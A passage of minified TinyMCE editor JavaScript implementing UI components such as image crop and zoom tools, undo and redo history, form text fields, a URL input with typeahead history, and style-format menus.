y(e)?""===e?t:"|"===e?0<t.length&&!zw(t[t.length-1])?t.concat([Pk]):t:Tt(n,e.toLowerCase())?t.concat([n[e.toLowerCase()]]):t:t.concat([e])},[])).length&&zw(o[o.length-1])&&o.pop(),o),function(t,e){var n,o,r,i,u,a,c=function(t){if(zw(t))return t;var e=tt(t,"value").getOrThunk(function(){return Ir("generated-menu-item")});return Yo({value:e},t)}(e),s=(o=l,Tt(n=c,"getSubmenuItems")?(i=o,u=(r=n).getSubmenuItems(),a=Vk(u,i),{item:r,menus:Yo(a.menus,sr(r.value,a.items)),expansions:Yo(a.expansions,sr(r.value,r.value))}):{item:n,menus:{},expansions:{}});return{menus:Yo(t.menus,s.menus),items:[s.item].concat(t.items),expansions:Yo(t.expansions,s.expansions)}},{menus:{},expansions:{},items:[]})},Hk=rt([Eo("field1Name","field1"),Eo("field2Name","field2"),Qu("onLockedChange"),qu(["lockClass"]),Eo("locked",!1),Af("coupledFieldBehaviours",[cd,Df])]),Lk=rt([Qw("field1","field2"),Qw("field2","field1"),Jf({factory:ip,schema:[mo("dom")],name:"lock",overrides:function(t){return{buttonBehaviours:ec([Rg.config({selected:t.locked,toggleClass:t.markers.lockClass,aria:{mode:"pressed"}})])}}})]),zk=Cl({name:"FormCoupledInputs",configFields:Hk(),partFields:Lk(),factory:function(o,t,e,n){return{uid:o.uid,dom:o.dom,components:t,behaviours:Bf(o.coupledFieldBehaviours,[cd.config({find:vt.some}),Df.config({store:{mode:"manual",getValue:function(t){var e=bl(t,o,["field1","field2"]),n={};return n[o.field1Name]=Df.getValue(e.field1()),n[o.field2Name]=Df.getValue(e.field2()),n},setValue:function(t,e){var n=bl(t,o,["field1","field2"]);et(e,o.field1Name)&&Df.setValue(n.field1(),e[o.field1Name]),et(e,o.field2Name)&&Df.setValue(n.field2(),e[o.field2Name])}}})]),apis:{getField1:function(t){return ml(t,o,"field1")},getField2:function(t){return ml(t,o,"field2")},getLock:function(t){return ml(t,o,"lock")}}}},apis:{getField1:function(t,e){return t.getField1(e)},getField2:function(t,e){return t.getField2(e)},getLock:function(t,e){return t.getLock(e)}}}),Uk={undo:rt(Ir("undo")),redo:rt(Ir("redo")),zoom:rt(Ir("zoom")),back:rt(Ir("back")),apply:rt(Ir("apply")),swap:rt(Ir("swap")),transform:rt(Ir("transform")),tempTransform:rt(Ir("temp-transform")),transformApply:rt(Ir("transform-apply"))},jk=rt("save-state"),Wk=rt("disable"),Gk=rt("enable"),Xk={formActionEvent:wx,saveState:jk,disable:Wk,enable:Gk},Yk=tinymce.util.Tools.resolve("tinymce.geom.Rect"),qk=tinymce.util.Tools.resolve("tinymce.util.Observable"),Kk=tinymce.util.Tools.resolve("tinymce.util.VK");function Jk(t,d){function e(t){var e,n,o,r,i,u,a,c,s=t.raw,l=(e=Math.max,n=y.documentElement,o=y.body,r=e(n.scrollWidth,o.scrollWidth),i=e(n.clientWidth,o.clientWidth),u=e(n.offsetWidth,o.offsetWidth),a=e(n.scrollHeight,o.scrollHeight),c=e(n.clientHeight,o.clientHeight),{width:r<u?i:r,height:a<e(n.offsetHeight,o.offsetHeight)?c:a});rS(s),t.prevent(),p=s.button,h=s.screenX,v=s.screenY;var f=ge(w,"cursor");de(g=Mt.fromTag("div",y),{position:"absolute",top:"0",left:"0",width:l.width+"px",height:l.height+"px","z-index":"2147483647",opacity:"0.0001",cursor:f}),Tn(yn(x),g),b.push(pc(x,"mousemove",m),pc(x,"touchmove",m),pc(x,"mouseup",S),pc(x,"touchend",S)),d.start(s)}function m(t){var e=t.raw;if(rS(e),e.button!==p)return S(t);e.deltaX=e.screenX-h,e.deltaY=e.screenY-v,t.prevent(),d.drag(e)}var n,o,r,g,p,h,v,i=[],b=[],y=null!==(n=d.document)&&void 0!==n?n:document,u=null!==(o=d.root)&&void 0!==o?o:y,x=Mt.fromDom(y),w=Mt.fromDom(u.getElementById(null!==(r=d.handle)&&void 0!==r?r:t)),S=function(t){rS(t.raw),St(b,function(t){return t.unbind()}),b=[],En(g),d.stop&&d.stop(t.raw)};return i.push(pc(w,"mousedown",e),pc(w,"touchstart",e)),{destroy:function(){St(b.concat(i),function(t){return t.unbind()}),b=[],i=[],k(g)&&En(g)}}}function $k(t,e,n,o,r){return Yw({name:t,icon:vt.some(e),disabled:n,tooltip:vt.some(t),primary:!1,borderless:!1},o,r)}function Qk(t,e){e?gd.enable(t):gd.disable(t)}var Zk=0,tC=function(s,e,l,t,n){function f(t,e){return{x:e.x-t.x,y:e.y-t.y,w:e.w,h:e.h}}function u(t,e,n,o){var r=e.x+n*t.deltaX,i=e.y+o*t.deltaY,u=Math.max(20,e.w+n*t.deltaW),a=Math.max(20,e.h+o*t.deltaH),c=(s=Yk.clamp({x:r,y:i,w:u,h:a},l,"move"===t.name),f(l,s));b.fire("updateRect",{rect:c}),h(c)}function o(t){r(s=t)}function r(n){function t(t,e){Iu(m,"#"+d+"-"+t).each(function(t){de(t,{left:e.x+"px",top:e.y+"px",width:Math.max(0,e.w)+"px",height:Math.max(0,e.h)+"px"})})}St(g,function(e){Iu(m,"#"+d+"-"+e.name).each(function(t){de(t,{left:n.w*e.xMul+n.x+"px",top:n.h*e.yMul+n.y+"px"})})}),t("top",{x:e.x,y:e.y,w:e.w,h:n.y-e.y}),t("right",{x:n.x+n.w,y:n.y,w:e.w-n.x-n.w+e.x,h:n.h}),t("bottom",{x:e.x,y:n.y+n.h,w:e.w,h:e.h-n.y-n.h+e.y}),t("left",{x:e.x,y:n.y,w:n.x-e.x,h:n.h}),t("move",n)}var i,a,c=[],d="tox-crid-"+Zk++,m=Mt.fromDom(t),g=[{name:"move",xMul:0,yMul:0,deltaX:1,deltaY:1,deltaW:0,deltaH:0,label:"Crop Mask"},{name:"nw",xMul:0,yMul:0,deltaX:1,deltaY:1,deltaW:-1,deltaH:-1,label:"Top Left Crop Handle"},{name:"ne",xMul:1,yMul:0,deltaX:0,deltaY:1,deltaW:1,deltaH:-1,label:"Top Right Crop Handle"},{name:"sw",xMul:0,yMul:1,deltaX:1,deltaY:0,deltaW:-1,deltaH:1,label:"Bottom Left Crop Handle"},{name:"se",xMul:1,yMul:1,deltaX:0,deltaY:0,deltaW:1,deltaH:1,label:"Bottom Right Crop Handle"}],p=["top","right","bottom","left"],h=function(t){var e;o((e=l,{x:t.x+e.x,y:t.y+e.y,w:t.w,h:t.h}))};function v(t){oe(t.target,"aria-grabbed","focus"===t.raw.type?"true":"false")}re(a=Mt.fromTag("div"),{id:d,class:"tox-croprect-container",role:"grid","aria-dropeffect":"execute"}),Tn(m,a),St(p,function(n){Iu(m,"#"+d).each(function(t){var e=Mt.fromTag("div");re(e,{id:d+"-"+n,class:"tox-croprect-block","data-mce-bogus":"all"}),fe(e,"display","none"),Tn(t,e)})}),St(g,function(n){Iu(m,"#"+d).each(function(t){var e=Mt.fromTag("div");re(e,{id:d+"-"+n.name,"aria-label":n.label,"aria-grabbed":"false","data-mce-bogus":"all",role:"gridcell",tabindex:"-1",title:n.label}),Jr(e,["tox-croprect-handle","tox-croprect-handle-"+n.name]),fe(e,"display","none"),Tn(t,e)})}),i=B(g,function(e){var n;return Jk(d,{document:t.ownerDocument,root:gn(m).dom,handle:d+"-"+e.name,start:function(){n=s},drag:function(t){u(e,n,t.deltaX,t.deltaY)}})}),r(s),c.push(pc(m,"focusin",v),pc(m,"focusout",v),pc(m,"keydown",function(e){var i;function t(t,e,n,o,r){t.stopPropagation(),t.preventDefault(),u(i,n,o,r)}switch(St(g,function(t){if(ie(e.target,"id")===d+"-"+t.name)return i=t,!1}),e.raw.keyCode){case Kk.LEFT:t(e,0,s,-10,0);break;case Kk.RIGHT:t(e,0,s,10,0);break;case Kk.UP:t(e,0,s,0,-10);break;case Kk.DOWN:t(e,0,s,0,10);break;case Kk.ENTER:case Kk.SPACEBAR:e.prevent(),n()}}));var b=lt(lt({},qk),{toggleVisibility:function(t){var e=V(V([],B(g,function(t){return"#"+d+"-"+t.name}),!0),B(p,function(t){return"#"+d+"-"+t}),!0).join(","),n=vs(m,e);St(n,t?function(t){return ve(t,"display")}:function(t){return fe(t,"display","none")})},setClampRect:function(t){l=t,r(s)},setRect:o,getInnerRect:function(){return f(l,s)},setInnerRect:h,setViewPortRect:function(t){e=t,r(s)},destroy:function(){St(i,function(t){return t.destroy()}),i=[],St(c,function(t){return t.unbind()}),c=[]}});return b};function eC(t){var n,o,e,r,i=Po(t),u=gc(),a=(o=-1,{data:n=[],add:function(t){var e=n.splice(++o);return n.push(t),{state:t,removed:e}},undo:function(){if(e())return n[--o]},redo:function(){if(r())return n[++o]},canUndo:e=function(){return 0<o},canRedo:r=function(){return-1!==o&&o<n.length-1}});function c(t){i.set(t)}function s(t){URL.revokeObjectURL(t.url)}function l(t){var e=f(t);c(e);var n=a.add(e).removed;return lk.each(n,s),e.url}a.add(t);function f(t){return{blob:t,url:URL.createObjectURL(t)}}function d(){u.on(s),u.clear()}return{getBlobState:function(){return i.get()},setBlobState:c,addBlobState:l,getTempState:function(){return u.get().getOrThunk(i.get)},updateTempState:function(t){var e=f(t);return d(),u.set(e),e.url},addTempState:function(t){var e=f(t);return u.set(e),e.url},applyTempState:function(e){return u.get().fold(st,function(t){l(t.blob),e()})},destroyTempState:d,undo:function(){var t=a.undo();return c(t),t.url},redo:function(){var t=a.redo();return c(t),t.url},getHistoryStates:function(){return{undoEnabled:a.canUndo(),redoEnabled:a.canRedo()}}}}function nC(t,e){function i(t){var e=y.getHistoryStates();k.updateButtonUndoStates(t,e.undoEnabled,e.redoEnabled),br(t,Xk.formActionEvent,{name:Xk.saveState(),value:e.undoEnabled})}function u(t){return t.toBlob()}function a(t){br(t,Xk.formActionEvent,{name:Xk.disable(),value:{}})}function c(e,t,n,o,r){a(e),Sw(t).then(n).then(u).then(o).then(function(t){return w(e,t)}).then(function(){i(e),r(),x(e)}).catch(function(t){console.log(t),e.getSystem().isConnected()&&x(e)})}function r(t,e,n){c(t,y.getBlobState().blob,e,function(t){return y.updateTempState(t)},n)}function s(t){var e=y.getBlobState().url;return y.destroyTempState(),i(t),e}var n,o,l,f,d,m,g,p,h,v,b,y=eC(t.currentState),x=function(t){C.getApplyButton(t).each(function(t){gd.enable(t)}),br(t,Xk.formActionEvent,{name:Xk.enable(),value:{}})},w=function(t,e){return a(t),S.updateSrc(t,e)},S=(f=t.currentState.url,m=Lm({dom:{tag:"div",classes:["tox-image-tools__image-bg"],attributes:{role:"presentation"}}}),g=Po(1),d=dc(),p=lt(lt({},d),{run:function(t){return d.get().each(t)}}),h=Po({x:0,y:0,w:1,h:1}),v=Po({x:0,y:0,w:1,h:1}),{memContainer:b=Lm(sx.sketch({dom:{tag:"div",classes:["tox-image-tools__image"]},components:[m.asSpec(),{dom:{tag:"img",attributes:{src:f}}},{dom:{tag:"div"},behaviours:ec([mm("image-panel-crop-events",[ou(function(t){b.getOpt(t).each(function(t){var e=t.element.dom,n=tC({x:10,y:10,w:100,h:100},{x:0,y:0,w:200,h:200},{x:0,y:0,w:200,h:200},e,st);n.toggleVisibility(!1),n.on("updateRect",function(t){var e=t.rect,n=g.get(),o={x:Math.round(e.x/n),y:Math.round(e.y/n),w:Math.round(e.w/n),h:Math.round(e.h/n)};h.set(o)}),p.set(n)})}),ru(function(){p.clear()})])])}],containerBehaviours:ec([Dg.config({}),mm("image-panel-events",[ou(function(t){_(t,f)})])])})),updateSrc:_,zoom:function(t,e){var n=g.get(),o=0<e?Math.min(2,n+.1):Math.max(.1,n-.1);g.set(o),b.getOpt(t).each(function(t){var e=t.components()[1].element;O(t,e)})},showCrop:function(){p.run(function(t){t.toggleVisibility(!0)})},hideCrop:function(){p.run(function(t){t.toggleVisibility(!1)})},getRect:function(){return h.get()},getMeasurements:function(){var t=v.get();return{width:t.w,height:t.h}}}),k=(o=Lm($k("Undo","undo",!0,function(t){br(t,Uk.undo(),{direction:1})},n=e)),l=Lm($k("Redo","redo",!0,function(t){br(t,Uk.redo(),{direction:1})},n)),{container:sx.sketch({dom:{tag:"div",classes:["tox-image-tools__toolbar","tox-image-tools__sidebar"]},components:[o.asSpec(),l.asSpec(),$k("Zoom in","zoom-in",!1,function(t){br(t,Uk.zoom(),{direction:1})},n),$k("Zoom out","zoom-out",!1,function(t){br(t,Uk.zoom(),{direction:-1})},n)]}),updateButtonUndoStates:function(t,e,n){o.getOpt(t).each(function(t){Qk(t,e)}),l.getOpt(t).each(function(t){Qk(t,n)})}}),C=oS(S,e);function O(t,s){b.getOpt(t).each(function(t){var n=g.get(),o=Ce(t.element),r=xe(t.element),i=s.dom.naturalWidth*n,u=s.dom.naturalHeight*n,a=Math.max(0,o/2-i/2),c=Math.max(0,r/2-u/2),e={left:a.toString()+"px",top:c.toString()+"px",width:i.toString()+"px",height:u.toString()+"px",position:"absolute"};de(s,e),m.getOpt(t).each(function(t){de(t.element,e)}),p.run(function(t){var e=h.get();t.setRect({x:e.x*n+a,y:e.y*n+c,w:e.w*n,h:e.h*n}),t.setClampRect({x:a,y:c,w:i,h:u}),t.setViewPortRect({x:0,y:0,w:o,h:r})})})}function _(t,e){var n,i=Mt.fromTag("img");return oe(i,"src",e),n=i.dom,new Bh(function(t){var e=function(){n.removeEventListener("load",e),t(n)};n.complete?t(n):n.addEventListener("load",e)}).then(function(){t.getSystem().isConnected()&&b.getOpt(t).map(function(t){var e=Ou({element:i});Dg.replaceAt(t,1,vt.some(e));var n=v.get(),o={x:0,y:0,w:i.dom.naturalWidth,h:i.dom.naturalHeight};v.set(o);var u,r=Yk.inflate(o,-20,-20);h.set(r),n.w===o.w&&n.h===o.h||(u=i,b.getOpt(t).each(function(t){var e=Ce(t.element),n=xe(t.element),o=u.dom.naturalWidth,r=u.dom.naturalHeight,i=Math.min(e/o,n/r);1<=i?g.set(1):g.set(i)})),O(t,i)})})}return{dom:{tag:"div",attributes:{role:"presentation"}},components:[C.memContainer.asSpec(),S.memContainer.asSpec(),k.container],behaviours:ec([Df.config({store:{mode:"manual",getValue:function(){return y.getBlobState()}}}),mm("image-tools-events",[Cr(Uk.undo(),function(e,t){var n=y.undo();w(e,n).then(function(t){x(e),i(e)})}),Cr(Uk.redo(),function(e,t){var n=y.redo();w(e,n).then(function(t){x(e),i(e)})}),Cr(Uk.zoom(),function(t,e){var n=e.event.direction;S.zoom(t,n)}),Cr(Uk.back(),function(t,e){var n,o=s(n=t);w(n,o).then(function(t){x(n)}),(0,e.event.swap)(),S.hideCrop()}),Cr(Uk.apply(),function(t,e){y.applyTempState(function(){s(t),(0,e.event.swap)()})}),Cr(Uk.transform(),function(t,e){return r(t,e.event.transform,st)}),Cr(Uk.tempTransform(),function(t,e){var n=e.event.transform;c(t,y.getTempState().blob,n,function(t){return y.addTempState(t)},st)}),Cr(Uk.transformApply(),function(t,e){var n=t,o=e.event.transform,r=e.event.swap,i=y.getBlobState().blob;c(n,i,o,function(t){var e=y.addBlobState(t);return s(n),e},r)}),Cr(Uk.swap(),function(e,t){k.updateButtonUndoStates(e,!1,!1);var n=t.event.transform,o=t.event.swap;n.fold(function(){o()},function(t){r(e,t,o)})})]),uS()])}}function oC(t){return!Tt(t,"items")}function rC(t,e){function n(t){return{dom:{tag:"td",innerHtml:e.translate(t)}}}return{dom:{tag:"table",classes:["tox-dialog__table"]},components:[{dom:{tag:"thead"},components:[{dom:{tag:"tr"},components:B(t.header,function(t){return{dom:{tag:"th",innerHtml:e.translate(t)}}})}]},{dom:{tag:"tbody"},components:B(t.cells,function(t){return{dom:{tag:"tr"},components:B(t,n)}})}],behaviours:ec([gx.config({}),Mg.config({})])}}function iC(n,e){var t=n.label.map(function(t){return nx(t,e)}),o=[gd.config({disabled:function(){return n.disabled||e.isDisabled()}}),gb(),Tg.config({mode:"execution",useEnter:!0!==n.multiline,useControlEnter:!0===n.multiline,execute:function(t){return vr(t,Sx),vt.some(!0)}}),mm("textfield-change",[Cr(Si(),function(t,e){br(t,bx,{name:n.name})}),Cr(Mi(),function(t,e){br(t,bx,{name:n.name})})]),gx.config({})],r=n.validation.map(function(o){return qx.config({getRoot:function(t){return Yt(t.element)},invalidClass:"tox-invalid",validator:{validate:function(t){var e=Df.getValue(t),n=o.validator(e);return Wx(!0===n?Nn.value(e):Nn.error(n))},validateOnLoad:o.validateOnLoad}})}).toArray(),i=n.placeholder.fold(rt({}),function(t){return{placeholder:e.translate(t)}}),u=n.inputMode.fold(rt({}),function(t){return{inputmode:t}}),a=lt(lt({},i),u);return ex(t,dx.parts.field({tag:!0===n.multiline?"textarea":"input",inputAttributes:a,inputClasses:[n.classname],inputBehaviours:ec(ft([o,r])),selectOnFocus:!1,factory:Ex}),(n.flex?["tox-form__group--stretched"]:[]).concat(n.maximized?["tox-form-group--maximize"]:[]),[gd.config({disabled:function(){return n.disabled||e.isDisabled()},onDisabled:function(t){dx.getField(t).each(gd.disable)},onEnabled:function(t){dx.getField(t).each(gd.enable)}}),gb()])}function uC(t){var e=Po(null);return wu({readState:function(){return{timer:null!==e.get()?"set":"unset"}},setTimer:function(t){e.set(t)},cancel:function(){var t=e.get();null!==t&&t.cancel()}})}function aC(t,e,n){var o=Df.getValue(n);Df.setValue(e,o),aO(e)}function cC(t,e){var n=t.element,o=Qr(n),r=n.dom;"number"!==ie(n,"type")&&e(r,o)}function sC(t){return{type:"menuitem",value:t.url,text:t.title,meta:{attach:t.attach},onAction:st}}function lC(t,e){return{type:"menuitem",value:e,text:t,meta:{attach:void 0},onAction:st}}function fC(t,e){return n=t,B(F(e,function(t){return t.type===n}),sC);var n}function dC(t,e){var n=t.toLowerCase();return F(e,function(t){return ut((void 0!==t.meta&&void 0!==t.meta.text?t.meta:t).text.toLowerCase(),n)||ut(t.value.toLowerCase(),n)})}function mC(u,a,c){function r(t){var e=Df.getValue(t);c.addToHistory(e.value,u.filetype)}var t,e,n,o,i=a.shared.providers,s=dx.parts.field({factory:fO,dismissOnBlur:!0,inputClasses:["tox-textfield"],sandboxClasses:["tox-dialog__popups"],inputAttributes:{"aria-errormessage":pO,type:"url"},minChars:0,responseTime:0,fetch:function(t){var n,o,e,r,i=Uw((n=u.filetype,o=c,e=Df.getValue(t),r=void 0!==e.meta.text?e.meta.text:e.value,o.getLinkInformation().fold(function(){return[]},function(t){var e=dC(r,B(o.getHistory(n),function(t){return lC(t,t)}));return"file"===n?R([e,dC(r,fC("header",t.targets)),dC(r,ft([vt.from(t.anchorTop).map(function(t){return lC("<top>",t)}).toArray(),fC("anchor",t.targets),vt.from(t.anchorBottom).map(function(t){return lC("<bottom>",t)}).toArray()]))],function(t,e){return 0===t.length||0===e.length?t.concat(e):t.concat(gO,e)},[]):e})),wv.BUBBLE_TO_SANDBOX,a,!1);return Wx(i)},getHotspot:function(t){return p.getOpt(t)},onSetValue:function(t,e){t.hasConfigured(qx)&&qx.run(t).get(st)},typeaheadBehaviours:ec(ft([c.getValidationHandler().map(function(n){return qx.config({getRoot:function(t){return Yt(t.element)},invalidClass:"tox-control-wrap--status-invalid",notify:{onInvalid:function(t,e){f.getOpt(t).each(function(t){oe(t.element,"title",i.translate(e))})}},validator:{validate:function(t){var e=Df.getValue(t);return mO(function(o){n({type:u.filetype,url:e.value},function(t){var e,n;"invalid"===t.status?(e=Nn.error(t.message),o(e)):(n=Nn.value(t.message),o(n))})})},validateOnLoad:!1}})}).toArray(),[gd.config({disabled:function(){return u.disabled||i.isDisabled()}}),gx.config({}),mm("urlinput-events",ft(["file"===u.filetype?[Cr(Si(),function(t){br(t,bx,{name:u.name})})]:[],[Cr(ki(),function(t){br(t,bx,{name:u.name}),r(t)}),Cr(Mi(),function(t){br(t,bx,{name:u.name}),r(t)})]]))]])),eventOrder:((t={})[Si()]=["streaming","urlinput-events","invalidating"],t),model:{getDisplayText:function(t){return t.value},selectsOver:!1,populateFromBrowse:!1},markers:{openClass:"tox-textfield--popup-open"},lazySink:a.shared.getSink,parts:{menu:Qh(0,0,"normal")},onExecute:function(t,e,n){br(e,Sx,{})},onItemExecute:function(t,e,n,o){r(t),br(t,bx,{name:u.name})}}),l=u.label.map(function(t){return nx(t,i)}),f=Lm((e="invalid",n=vt.some(pO),sh("warning",{tag:"div",classes:["tox-icon","tox-control-wrap__status-icon-"+e],attributes:lt({title:i.translate(o=void 0===o?e:o),"aria-live":"polite"},n.fold(function(){return{}},function(t){return{id:t}}))},i.icons))),d=Lm({dom:{tag:"div",classes:["tox-control-wrap__status-icon-wrap"]},components:[f.asSpec()]}),m=c.getUrlPicker(u.filetype),g=Ir("browser.url.event"),p=Lm({dom:{tag:"div",classes:["tox-control-wrap"]},components:[s,d.asSpec()],behaviours:ec([gd.config({disabled:function(){return u.disabled||i.isDisabled()}})])}),h=Lm(Kw({name:u.name,icon:vt.some("browse"),text:u.label.getOr(""),disabled:u.disabled,primary:!1,borderless:!0},function(t){return vr(t,g)},i,[],["tox-browse-url"]));return dx.sketch({dom:vx([]),components:l.toArray().concat([{dom:{tag:"div",classes:["tox-form__controls-h-stack"]},components:ft([[p.asSpec()],m.map(function(){return h.asSpec()}).toArray()])}]),fieldBehaviours:ec([gd.config({disabled:function(){return u.disabled||i.isDisabled()},onDisabled:function(t){dx.getField(t).each(gd.disable),h.getOpt(t).each(gd.disable)},onEnabled:function(t){dx.getField(t).each(gd.enable),h.getOpt(t).each(gd.enable)}}),gb(),mm("url-input-events",[Cr(g,function(o){cd.getCurrent(o).each(function(e){var t=Df.getValue(e),n=lt({fieldname:u.name},t);m.each(function(t){t(n).get(function(t){Df.setValue(e,t),br(o,bx,{name:u.name})})})})})])])})}function gC(r){return function(e,n,o){return tt(n,"name").fold(function(){return r(n,o)},function(t){return e.field(t,r(n,o))})}}function pC(e,t,n){var o=Yo(n,{shared:{interpreter:function(t){return bO(e,t,o)}}});return bO(e,t,o)}function hC(t,e,n){function o(){return Mt.fromDom(t.getContentAreaContainer())}function r(){return p||!n()}var i,u,a,c,s,l,f,d,m,g,p=cb(t);return{inlineDialog:(f=o,d=e,m=r,g={maxHeightFunction:Nc()},function(){return m()?{type:"node",root:te(f()),node:vt.from(f()),bubble:Sc(12,12,yO),layouts:{onRtl:function(){return[Mm]},onLtr:function(){return[Bm]}},overrides:g}:{type:"hotspot",hotspot:d(),bubble:Sc(-12,12,yO),layouts:{onRtl:function(){return[Xa]},onLtr:function(){return[Ya]}},overrides:g}}),banner:(c=o,s=e,l=r,function(){return l()?{type:"node",root:te(c()),node:vt.from(c()),layouts:{onRtl:function(){return[np]},onLtr:function(){return[np]}}}:{type:"hotspot",hotspot:s(),layouts:{onRtl:function(){return[$a]},onLtr:function(){return[$a]}}}}),cursor:(u=t,function(){return{type:"selection",root:a(),getSelection:function(){var t=u.selection.getRng();return vt.some(ms.range(Mt.fromDom(t.startContainer),t.startOffset,Mt.fromDom(t.endContainer),t.endOffset))}}}),node:(i=a=function(){return Mt.fromDom(t.getBody())},function(t){return{type:"node",root:i(),node:t}})}}function vC(i){return vt.from(i.getParam("style_formats")).filter(c).map(function(t){var e,n,o=(e=i,n=wO(t),e.formatter?r(n.customFormats):e.on("init",function(){r(n.customFormats)}),n.formats);function r(t){St(t,function(t){e.formatter.has(t.name)||e.formatter.register(t.name,t.format)})}return i.getParam("style_formats_merge",!1,"boolean")?xO.concat(o):o}).getOr(xO)}function bC(t,e,n){var o={type:"formatter",isSelected:e(t.format),getStylePreview:n(t.format)};return Yo(t,o)}function yC(c,t,s,l){var f=function(t){return B(t,function(t){var e,n,o,r,i,u=Ct(t);if(et(t,"items")){var a=f(t.items);return Yo(Yo(t,{type:"submenu"}),{getStyleItems:rt(a)})}return et(t,"format")?bC(t,s,l):1===u.length&&wt(u,"title")?Yo(t,{type:"separator"}):(r={type:"formatter",format:o="custom-"+(n=y((e=t).name)?e.name:Ir(e.title)),isSelected:s(o),getStylePreview:l(o)},i=Yo(e,r),c.formatter.register(n,i),i)})};return f(t)}function xC(n){return function(t){if(k(e=t)&&1===e.nodeType){if(t.contentEditable===n)return!0;if(t.getAttribute("data-mce-contenteditable")===n)return!0}var e;return!1}}function wC(t,e,n,o,r){return{type:t,title:e,url:n,level:o,attach:r}}function SC(t){return t.innerText||t.textContent}function kC(t){return t&&"A"===t.nodeName&&void 0!==(t.id||t.name)&&q1(t)}function CC(t){return t&&/^(H[1-6])$/.test(t.nodeName)}function OC(t){return CC(t)&&q1(t)}function _C(t){var e,n=t.id||Ir("h");return wC("header",SC(t),"#"+n,CC(e=t)?parseInt(e.nodeName.substr(1),10):0,function(){t.id=n})}function TC(t){var e=t.id||t.name;return wC("anchor",SC(t)||"#"+e,"#"+e,0,st)}function EC(t){return 0<SO(t.title).length}function DC(t){return y(t)&&/^https?/.test(t)}function AC(t){return x(t)&&Q(t,function(t){return!(c(e=t)&&e.length<=5&&L(e,DC));var e}).isNone()}function BC(){var t,e=fy.getItem(_O);if(null===e)return{};try{t=JSON.parse(e)}catch(t){if(t instanceof SyntaxError)return console.log("Local storage "+_O+" was not valid JSON",t),{};throw t}return AC(t)?t:(console.log("Local storage "+_O+" was not valid format",t),{})}function MC(t){return tt(BC(),t).getOr([])}function FC(e,t){var n,o;DC(e)&&(o=F(tt(n=BC(),t).getOr([]),function(t){return t!==e}),n[t]=[e].concat(o).slice(0,5),function(t){if(!AC(t))throw new Error("Bad format for history:\n"+JSON.stringify(t));fy.setItem(_O,JSON.stringify(t))}(n))}function IC(t){return!!t}function RC(t){return dt(lk.makeMap(t,/[, ]/),IC)}function NC(t){return vt.from(t.getParam("file_picker_callback")).filter(S)}function PC(t){return vt.from(t).filter(y).getOrUndefined()}function VC(l){return{getHistory:MC,addToHistory:FC,getLinkInformation:function(){return!1===(t=l).getParam("typeahead_urls")?vt.none():vt.some({targets:OO(t.getBody()),anchorTop:PC(t.getParam("anchor_top","#top")),anchorBottom:PC(t.getParam("anchor_bottom","#bottom"))});var t},getValidationHandler:function(){return vt.from(void 0===(e=(t=l).getParam("file_picker_validator_handler",void 0,"function"))?t.getParam("filepicker_validator_handler",void 0,"function"):e);var t,e},getUrlPicker:function(t){return e=c=l,n=s=t,r=vt.some((o=e).getParam("file_picker_types")).filter(IC),i=vt.some(o.getParam("file_browser_callback_types")).filter(IC),u=r.or(i).map(RC),a=NC(o).fold(T,function(t){return u.fold(D,function(t){return 0<Ct(t).length&&t})}),(w(a)?a?NC(e):vt.none():a[n]?NC(e):vt.none()).map(function(o){return function(e){return jx(function(n){var t=lt({filetype:s,fieldname:e.fieldname},vt.from(e.meta).getOr({}));o.call(c,function(t,e){if(!y(t))throw new Error("Expected value to be string");if(void 0!==e&&!x(e))throw new Error("Expected meta to be a object");n({value:t,meta:e})},e.value,t)})}});var e,n,o,r,i,u,a,c,s}}}function HC(t,e,n){var o,r,i,u,a,c,s,l,f,d,m,g,p,h=Po(!1),v={isPositionedAtTop:function(){return"top"===o.get()},getDockingMode:(o=Po(ub(e)?"bottom":"top")).get,setDockingMode:o.set},b={shared:{providers:{icons:function(){return e.ui.registry.getAll().icons},menuItems:function(){return e.ui.registry.getAll().menuItems},translate:fh.translate,isDisabled:function(){return e.mode.isReadOnly()||e.ui.isDisabled()},getSetting:e.getParam.bind(e)},interpreter:function(t){return bO(vO,t,b)},anchors:hC(e,n,v.isPositionedAtTop),header:v,getSink:function(){return Nn.value(t)}},urlinput:VC(e),styleselect:(f=Po([]),d=Po([]),m=Po([]),g=Po([]),p=Po(!(l=function(t){var e=t.items;return void 0!==e&&0<e.length?H(e,l):[t.format]})),(s=e).on("PreInit",function(t){var e=vC(s),n=yC(s,e,y,x);f.set(n),d.set(H(n,l))}),s.on("addStyleModifications",function(t){var e=yC(s,t.items,y,x);m.set(e),p.set(t.replace),g.set(H(e,l))}),{getData:function(){var t=p.get()?[]:f.get(),e=m.get();return t.concat(e)},getFlattenedKeys:function(){var t=p.get()?[]:d.get(),e=g.get();return t.concat(e)}}),colorinput:{colorPicker:function(t,e){Fy(c)(t,e)},hasCustomColors:function(){return my(a)},getColors:function(){return gy(u)},getColorCols:(i=u=a=c=e,function(){return hy(i)})},dialog:{isDraggableModal:(r=e,function(){return r.getParam("draggable_modal",!1,"boolean")})},isContextMenuOpen:function(){return h.get()},setContextMenuState:function(t){return h.set(t)}};function y(t){return function(){return s.formatter.match(t)}}function x(e){return function(){var t=s.formatter.get(e);return void 0!==t?vt.some({tag:0<t.length&&(t[0].inline||t[0].block)||"div",styles:s.dom.parseStyle(s.formatter.getCssText(e))}):vt.none()}}return b}function LC(t){return(mt(pe(t,"position"),"fixed")?vt.none():qt(t)).orThunk(function(){var n=Mt.fromTag("span");return Yt(t).bind(function(t){Tn(t,n);var e=qt(n);return En(n),e})})}function zC(t){return LC(t).map(ke).getOrThunk(function(){return kn(0,0)})}function UC(t,e){var n=t.element;Yr(n,e.transitionClass),qr(n,e.fadeOutClass),Yr(n,e.fadeInClass),e.onShow(t)}function jC(t,e){var n=t.element;Yr(n,e.transitionClass),qr(n,e.fadeInClass),Yr(n,e.fadeOutClass),e.onHide(t)}function WC(t,e,n){return L(t,function(t){switch(t){case"bottom":return e.bottom<=n.bottom;case"top":return e.y>=n.y}})}function GC(e,t){return t.getInitialPos().map(function(t){return Bn(t.bounds.x,t.bounds.y,Ce(e),xe(e))})}function XC(n,o,r){return r.getInitialPos().bind(function(t){switch(r.clearInitialPos(),t.position){case"static":return vt.some(PO.static());case"absolute":var e=LC(n).map(Mn).getOrThunk(function(){return Mn(bn())});return vt.some(PO.absolute(Ea("absolute",tt(t.style,"left").map(function(t){return o.x-e.x}),tt(t.style,"top").map(function(t){return o.y-e.y}),tt(t.style,"right").map(function(t){return e.right-o.right}),tt(t.style,"bottom").map(function(t){return e.bottom-o.bottom}))));default:return vt.none()}})}function YC(t,e,n){var o,r,i,u=t.element;return 